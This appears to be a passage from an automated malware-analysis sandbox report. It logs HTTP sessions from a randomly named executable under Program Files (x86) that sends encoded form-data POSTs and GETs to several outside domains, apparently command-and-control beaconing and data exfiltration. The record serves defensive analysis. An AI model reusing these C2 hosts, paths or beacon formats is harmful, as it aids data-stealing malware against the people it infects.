3tV=FCnpklK+GPMKepzkIX+vhN21kj/9R9Q0F2oSR57YJRye9H1mOQ6BkDFLaUDw+dz7CAN7oOF1G5/FjKfC3q8oXYVKTOqd4nmUF/BaOBWaXLv6Gd3Gkul7foaNEzA8PJ0pgoODK61ZCba1OeiJqYWUsmelT1QE/UMej1GI3Gko3uP62OIFh8U7d0jlajz+XTdsQWNdJ+rEZfnX7KM7ZmAZJy/QHAeeV3kJBpTMRugPpjlWiSDZmF7XNCt9ShDWeECnyWqtCqVSWP1p6et/IrYtwbWyIhv7ilLAf+NoJvIkPt5VbaI3kDV/VPQ8cNu/VGePHh09RhwQeOVgNazygEudKAzSffLu6xjQSFPzgQYI3+alF6bwTViJ8k2phKXrCrp6DeBh6127LNNQVg0nWzRAFbPpTY5E8XZhtS4F/WTHVBzY6SWdgflyjRRWjVEKZfs9hpzdE8ZmU18dsG56wBUra9r3pG3QCV4oMTFIylFQmu6dFQP2F4wFIKpIUsTj0yjkyBSz05FXK5xPH1G1exZtVbGqi5wBA4YJiIvyR95iuVsSZGQrWMu7NxX6W/CuJgU+AsnO9DLFUjCajvJfgd6CBU1SMc7mBfBIK5RUnwkASxWyE8FfRKYFAfG5g0aZxpTihghCggeh1qAqNRNcPSLxUm9XBQocQ9sxVNldQikGQXIsdyXhDEbvQj4urLyhn/HE53KsEXym+fpTCzZK9YJr/SfbOIlOHjHFb9RFK2ES4+cSlDz7QHlSzj0MaYZWT2Wy+Kuc/KZ8pFO+AcazypArtH8cDSeQFN9uNuMcbqhah7Cmsi8gY2gcp0YltMP3huEOScZwYMCSHQ+aftekXtDzZgNvGtF8hefXm/DUBa2YCcmpKZshsQnEdmGsx+n1XHtvKqbAmMvHzfymVZ6qjuO11NkkIUwHQEMOjckxbgEXAqkL5guCSSQQu5NYIIOtlhDcI6t+rMRPHbv+rDV7dDptNJH2b5i5INQWok4L1F3yfvQ6HiXM [TRUNCATED]
Sep 12, 2024 15:07:00.195352077 CEST	488	IN	HTTP/1.1 405 Method Not Allowed Connection: close Content-Length: 131 Server: Varnish Retry-After: 0 Accept-Ranges: bytes Date: Thu, 12 Sep 2024 13:07:00 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740051-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726146420.148075,VS0,VE1 X-Fastly-Request-ID: 56e8f6532db92e286954e50b99dfcbc3264bb94e Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49766	185.199.108.153	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:07:02.288429022 CEST	435	OUT	GET /7ew2/?IhkTb=xPfHG0o8kZI8&3tV=IAPJnQ6xP9g+To7sKnTlpdONgQ/IZpMKDV4JVaWfPzS1iBgaX2aSuicPSUKP+tbyByJ2nvQBfa7E+7/p3v0hf5xqKOi6z2fPcNVZO3WzTaW3LMTOzeMZHpQ= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close Host: www.cake11298.online User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Sep 12, 2024 15:07:02.760704041 CEST	804	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 162 Server: GitHub.com Content-Type: text/html X-GitHub-Request-Id: 73BF:7FAD7:91171E7:9EA1E19:66E2E776 Accept-Ranges: bytes Age: 0 Date: Thu, 12 Sep 2024 13:07:02 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740053-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726146423.701862,VS0,VE9 Vary: Accept-Encoding X-Fastly-Request-ID: 87133c0211b80c48bed4e7672ef5169d6fa48201 Location: http://cake11298.online/7ew2/?IhkTb=xPfHG0o8kZI8&3tV=IAPJnQ6xP9g+To7sKnTlpdONgQ/IZpMKDV4JVaWfPzS1iBgaX2aSuicPSUKP+tbyByJ2nvQBfa7E+7/p3v0hf5xqKOi6z2fPcNVZO3WzTaW3LMTOzeMZHpQ= Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49767	91.184.0.200	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:07:18.346549988 CEST	713	OUT	POST /c85h/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.jobworklanka.online Origin: http://www.jobworklanka.online Referer: http://www.jobworklanka.online/c85h/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 70 61 78 56 6d 6a 71 6f 2b 39 64 78 78 66 36 36 30 48 46 62 7a 51 75 61 37 73 75 68 6e 74 2f 79 43 4f 7a 6b 67 66 4d 2f 49 37 4e 49 56 77 54 4e 67 6b 34 52 6b 37 51 70 72 76 6b 6e 68 39 6f 34 45 52 7a 73 67 75 4f 46 48 37 56 65 79 6c 30 30 56 52 36 74 78 46 43 53 46 31 71 54 6c 79 36 4e 67 50 39 76 6c 2f 6c 55 4e 2f 51 43 75 4b 41 37 66 62 4f 75 7a 68 70 63 7a 39 48 4b 33 31 51 48 65 4f 4e 56 72 66 4b 38 6b 2b 74 6d 6a 59 58 73 62 53 41 72 66 69 46 4e 6f 63 67 58 46 72 71 7a 4e 62 58 2b 76 32 74 78 4f 61 39 66 36 31 30 65 31 78 32 2f 39 76 2b 4c 4f 69 62 4e 50 34 2b 64 49 67 3d 3d Data Ascii: 3tV=paxVmjqo+9dxxf660HFbzQua7suhnt/yCOzkgfM/I7NIVwTNgk4Rk7Qprvknh9o4ERzsguOFH7Veyl00VR6txFCSF1qTly6NgP9vl/lUN/QCuKA7fbOuzhpcz9HK31QHeONVrfK8k+tmjYXsbSArfiFNocgXFrqzNbX+v2txOa9f610e1x2/9v+LOibNP4+dIg==
Sep 12, 2024 15:07:18.982920885 CEST	500	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Sep 2024 13:07:18 GMT Server: Apache X-Xss-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49768	91.184.0.200	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:07:20.965218067 CEST	733	OUT	POST /c85h/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.jobworklanka.online Origin: http://www.jobworklanka.online Referer: http://www.jobworklanka.online/c85h/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 70 61 78 56 6d 6a 71 6f 2b 39 64 78 67 4f 71 36 31 67 78 62 78 77 75 64 33 4d 75 68 73 4e 2f 2b 43 4f 50 6b 67 65 4a 36 49 4a 70 49 55 56 2f 4e 68 6c 34 52 6c 37 51 70 6a 50 6b 6d 38 74 6f 4a 45 52 50 4f 67 75 79 46 48 37 42 65 79 6b 45 30 56 41 36 75 77 56 43 55 4a 56 71 4e 37 43 36 4e 67 50 39 76 6c 2b 42 71 4e 38 67 43 75 36 77 37 65 36 4f 74 73 52 70 54 77 39 48 4b 7a 31 51 63 65 4f 4d 6c 72 65 47 61 6b 37 78 6d 6a 5a 6e 73 62 41 6f 71 56 69 46 58 6c 38 68 6e 42 6f 65 36 44 72 6d 57 70 55 31 72 43 70 6c 2b 79 54 6c 45 6b 41 58 6f 76 76 61 34 54 6c 53 35 43 37 44 55 54 6d 34 71 32 67 51 59 50 4e 47 45 32 78 68 6b 6f 4f 6b 55 34 71 45 3d Data Ascii: 3tV=paxVmjqo+9dxgOq61gxbxwud3MuhsN/+COPkgeJ6IJpIUV/Nhl4Rl7QpjPkm8toJERPOguyFH7BeykE0VA6uwVCUJVqN7C6NgP9vl+BqN8gCu6w7e6OtsRpTw9HKz1QceOMlreGak7xmjZnsbAoqViFXl8hnBoe6DrmWpU1rCpl+yTlEkAXovva4TlS5C7DUTm4q2gQYPNGE2xhkoOkU4qE=
Sep 12, 2024 15:07:21.647376060 CEST	500	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Sep 2024 13:07:21 GMT Server: Apache X-Xss-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49769	91.184.0.200	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:07:23.516911030 CEST	10815	OUT	POST /c85h/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.jobworklanka.online Origin: http://www.jobworklanka.online Referer: http://www.jobworklanka.online/c85h/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 70 61 78 56 6d 6a 71 6f 2b 39 64 78 67 4f 71 36 31 67 78 62 78 77 75 64 33 4d 75 68 73 4e 2f 2b 43 4f 50 6b 67 65 4a 36 49 4a 68 49 56 6a 72 4e 67 43 45 52 6d 37 51 70 74 76 6b 37 38 74 6f 75 45 52 6e 4b 67 75 2b 2f 48 34 35 65 30 33 4d 30 41 43 43 75 36 56 43 55 55 6c 71 51 6c 79 37 48 67 50 74 72 6c 2f 78 71 4e 38 67 43 75 35 6f 37 5a 72 4f 74 2f 42 70 63 7a 39 48 47 33 31 52 7a 65 4b 68 64 72 65 53 73 6c 49 70 6d 6d 4a 33 73 5a 31 30 71 54 79 46 4a 32 4d 68 2f 42 6f 44 69 44 72 4b 30 70 56 42 56 43 76 5a 2b 77 6b 45 62 30 43 72 31 75 35 32 68 4f 79 71 53 4f 63 54 4d 62 30 30 5a 6e 43 30 79 64 73 36 62 77 41 78 74 74 74 49 46 6c 73 45 45 34 46 6b 45 4e 6d 5a 69 64 48 34 77 45 61 6b 2b 70 49 4e 70 6c 2b 7a 55 36 33 4d 2b 78 4e 5a 2f 5a 55 47 4f 4d 48 6e 76 33 2b 76 4c 63 67 78 61 7a 5a 56 35 66 5a 58 31 6a 71 52 66 6b 55 39 30 4b 55 41 65 6e 64 49 75 68 39 6e 62 63 2b 65 68 58 37 59 55 32 44 70 44 2b 45 31 36 34 64 33 42 39 32 64 5a 62 4c 2f 74 53 79 6d 39 74 62 43 4c 54 47 39 46 33 53 [TRUNCATED] Data Ascii: 3tV=paxVmjqo+9dxgOq61gxbxwud3MuhsN/+COPkgeJ6IJhIVjrNgCERm7Qptvk78touERnKgu+/H45e03M0ACCu6VCUUlqQly7HgPtrl/xqN8gCu5o7ZrOt/Bpcz9HG31RzeKhdreSslIpmmJ3sZ10qTyFJ2Mh/BoDiDrK0pVBVCvZ+wkEb0Cr1u52hOyqSOcTMb00ZnC0yds6bwAxtttIFlsEE4FkENmZidH4wEak+pINpl+zU63M+xNZ/ZUGOMHnv3+vLcgxazZV5fZX1jqRfkU90KUAendIuh9nbc+ehX7YU2DpD+E164d3B92dZbL/tSym9tbCLTG9F3SCq1oA89YV9OjO4X2LP6/QihrX5lzmMiUdyxuf1Tg+QwMSD7dT+G1SJj0oOqcIJqKNp2dHCmuOOofkJ6hXocD3QdcIUkXxqDGLA399PwERPs6FQhsrM9w9SmVgWUZIiw8T6yPm53d0EKJH7VRkc9IKV/pPmH8i2D6pZdzkDiHGxG2PK0qsnCV9zgY5srHAX6IcdvgFfV6COEoT9Xy+51mNL/yB41HDmS4Fox0bli0zZKMG8WSiqmajDMWd/9841royTSymUGewRJ0qm/wsqtFXXqoiROUUGRFSOFmrq/irQVHnoFKtm25MjnsqaiIKcdX+6PPoN/yT58rBQO32Dvmw15cZQWUIzplaN8iFxC8CBeumfKwXrkP+OUNvjl3RELCwXSEjavo3VnvsLN//9XzPf4AXmjGLSMGz07qmASnyXrweaaXKQ+xXVhhGHzApnguKh57Qnouw3Bu4r6ojylyKZCj5Cx5ld9tDvHzgxGmao65g1PpLaY3D8jpyj25ljikWeZDhxywNWk0gIPM5i+4LwjlLB8LDqE8OHEvTTT176usTNRwCXzfkVlLUPfXfnmVK2YcMAwqwTqkYLxVei/5gptqmyU3zVvCQgEIghqtEOUODasNP0svUWyf78jO5x7b+aVEKmQfTHKDtxgOnl9c1lApMK4o7GnNSM [TRUNCATED]
Sep 12, 2024 15:07:24.253087044 CEST	500	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Sep 2024 13:07:24 GMT Server: Apache X-Xss-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49770	91.184.0.200	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:07:26.061320066 CEST	438	OUT	GET /c85h/?IhkTb=xPfHG0o8kZI8&3tV=kYZ1lXq/hdZH/uis+T00xzejxPvlo8rfV8miq8Z/KrwXBz2m8C0A0d48n8FfouwDJQDRltn1A61Jy1UNPVSm21uxUE+/nj7G5dxHpoV9EucdjLBiC53j1jk= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close Host: www.jobworklanka.online User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Sep 12, 2024 15:07:26.675591946 CEST	500	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Sep 2024 13:07:26 GMT Server: Apache X-Xss-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49771	154.23.176.197	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:07:31.903901100 CEST	707	OUT	POST /25kr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.shipincheshi.skin Origin: http://www.shipincheshi.skin Referer: http://www.shipincheshi.skin/25kr/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 44 44 79 35 63 45 41 78 35 34 37 35 73 47 32 2f 4b 4b 41 7a 45 6a 51 6e 42 37 55 34 69 31 47 2b 57 36 56 64 56 72 4f 6d 66 31 30 6b 6e 41 31 6f 52 34 62 4e 6d 74 78 42 47 62 76 6e 68 79 63 52 69 62 59 31 38 61 61 76 38 70 34 71 4a 6f 64 49 6b 58 4a 43 73 70 70 77 77 58 49 4c 53 43 36 6c 79 6d 4a 47 6b 6c 76 6f 7a 49 47 57 4b 6e 31 39 2f 47 54 53 46 36 63 6f 77 56 55 4f 2b 57 78 65 30 74 2b 4e 68 49 4e 67 6d 70 51 50 78 55 64 44 67 51 65 42 2f 65 4d 4c 59 31 36 33 4b 74 65 45 36 6a 65 6d 37 6f 63 49 36 67 42 6c 56 57 33 44 6e 66 4f 5a 4f 32 32 61 6a 45 32 71 2b 56 77 73 30 41 3d 3d Data Ascii: 3tV=DDy5cEAx5475sG2/KKAzEjQnB7U4i1G+W6VdVrOmf10knA1oR4bNmtxBGbvnhycRibY18aav8p4qJodIkXJCsppwwXILSC6lymJGklvozIGWKn19/GTSF6cowVUO+Wxe0t+NhINgmpQPxUdDgQeB/eMLY163KteE6jem7ocI6gBlVW3DnfOZO22ajE2q+Vws0A==
Sep 12, 2024 15:07:32.865859985 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Sep 2024 13:18:44 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4761 Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 5c 71 77 db 54 96 ff 7b f9 14 6f 4d c1 0e d8 92 ed 24 8e 9b 38 61 5c c7 49 0c 49 1c 1c a7 a5 4b bb 3e b2 f4 6c 8b c8 92 90 9e e3 a4 a5 e7 c0 ee 0c 30 bb 2d 85 81 65 da 5d 58 b6 70 0e e5 c0 4e 3b 3b 33 0b 0c 50 f6 cb d4 69 fa d7 7e 85 bd 4f b2 6c 59 7a 72 8c 0b 0e ac 72 92 58 4f f7 dd f7 bb f7 dd 7b df bd cf 92 32 7f bb 5c cc 95 cf 6f e5 51 83 34 95 a5 c7 32 ce 3f 2c 48 4b 8f 21 38 32 4d 4c 04 24 36 04 c3 c4 64 31 b4 53 5e 89 a5 43 dd 4b 44 26 0a 5e 7a f0 e7 6f 1f 7c fb 51 e7 fa 3b 0f de fb e8 e1 7b 37 8f ee de cd f0 f6 15 17 03 55 68 e2 c5 90 a1 55 35 62 86 90 a8 a9 04 ab c0 4e d5 64 55 c2 fb 51 55 ab 69 8a a2 b5 43 88 ef f6 32 c9 81 c3 81 1e fc 53 e8 8c 60 62 f4 14 df 6b aa 6a d2 01 ba dc 3b a5 87 a8 29 9a 31 8f 1e 9f 9e 9e 5e 18 b8 50 83 01 e7 51 22 a5 ef a3 b3 d8 90 04 55 88 a2 d0 1a 56 f6 30 91 45 01 6d e2 16 0e 45 51 c3 69 88 a2 ac 21 0b 4a 14 85 37 64 d1 d0 4c ad 46 d0 79 61 0d cb e1 28 32 05 d5 8c 99 d8 90 6b 83 43 34 05 a3 2e ab f3 28 3e d8 ac 0b 92 24 ab 75 [TRUNCATED] Data Ascii: \qwT{oM$8a\IIK>l0-e]XpN;;3Pi~OlYzrrXO{2\oQ42?,HK!82ML$6d1S^CKD&^zo\|Q;{7UhU5bNdUQUiC2S`bkj;)1^PQ"UV0EmEQi!J7dLFya(2kC4.(>$uhG8O)>5S3Kx%nm, lUUktN'$I"2wTqRX1&5"Kq1S&HjeT`` CILfDPs4.f<@=Y`6H5>2<lMUw_--V"BUoiPW?1nxl?Ty$h!'xW]5HmKVo2yYr0r.!*mhn!c#l0-xwkn!+59rh5iu4(T$IbH;h mAk73C:P0%4XJ:9wkQ<'@TFD&"C-0kxtOgZ&hK1Uo4Ovx;jtS4XF=H+ZSU4q30osWtN,RWKg.XU"_fpXX7Ch6lM$@yRH
Sep 12, 2024 15:07:32.866378069 CEST	224	IN	Data Raw: 52 0f 31 60 b1 7c 54 9f 67 c8 6d ad 6a c7 2f 27 03 43 fc 4c b4 11 18 0d 12 01 45 06 8b 83 cf f6 7b 5a 05 26 83 01 9b c9 48 92 f7 e6 41 42 12 13 1b b2 22 31 dd c8 5e b4 47 5b 59 bb b4 43 16 57 d7 42 38 90 ce 9c 15 a0 82 84 54 d5 64 e7 34 b1 3d c1 Data Ascii: R1`\|Tgmj/'CLE{Z&HAB"1^G[YCWB8Td4=sRY2yHk8"5y{bmCvc\|M0T}q(X-RSqK.zDfSP<f;0en{r(#%t+`!%8k!c[+ch
Sep 12, 2024 15:07:32.867571115 CEST	1236	IN	Data Raw: b3 65 83 30 35 3f 00 0a 58 b5 c1 76 fc ae 53 25 d3 4f fc 20 d3 6a 37 64 82 63 56 59 34 0f 11 99 3a c7 0f 80 33 62 9a e5 8e 1e 39 4d 3f b0 42 8d bf 18 12 9d 4b 43 6a 21 5f 10 1b 28 72 02 8a 49 ab 6b f0 fe 89 1b de f6 56 76 13 61 05 37 21 51 32 41 Data Ascii: e05?XvS%O j7dcVY4:3b9M?BKCj!_(rIkVva7!Q2AH\L8W"rKz@U@n@;8]x]WU+zn=tvnb- HwYhP[~x`kthE&n~=Aim"iY 4zP\|`
Sep 12, 2024 15:07:32.867660999 CEST	224	IN	Data Raw: b3 47 ca 90 7e a5 37 ec c8 10 23 00 22 91 96 a6 c9 59 40 2a 05 13 04 b2 5f 5e 3e 98 15 f3 d9 fd d9 99 b9 59 73 35 c9 3f f7 5c f6 52 fe a5 e7 d5 33 73 3b 33 72 62 15 9d 4b 9d 95 ce 1a c5 66 2d 11 df 55 b3 09 ad 34 53 dd 6c 92 fd 33 ab d5 3d b5 71 Data Ascii: G~7#"Y@_^>Ys5?\R3s;3rbKf-U4Sl3=q DZjRags/s)]{NMW+)Qk)s8NfYooHoO#8z74Q^Vk+&KlgB3ZtQ[L
Sep 12, 2024 15:07:32.868273973 CEST	1236	IN	Data Raw: cd f9 24 ec 30 a7 69 bb f2 09 8d bd 8d 4d 93 16 f4 27 33 b6 01 29 13 5f b2 ab a2 9f dc 13 77 b6 f3 a5 31 5d 11 a2 3b b3 cf 98 96 7c 2c d4 b5 e2 46 7e 4c a8 7c 43 6b 62 7e d2 80 b7 73 a5 c2 56 b9 b2 99 1d 1f 77 7f 0d 9c 24 f0 52 fe f9 9d fc 76 b9 Data Ascii: $0iM'3)_w1];\|,F~L\|Ckb~sVw$RvSK+RasuLv/DnDalT\q}Lk-eW\|i%9sc/\|\Z{WFs"7\|eX*:13}D1wWzQVjGFaslWI
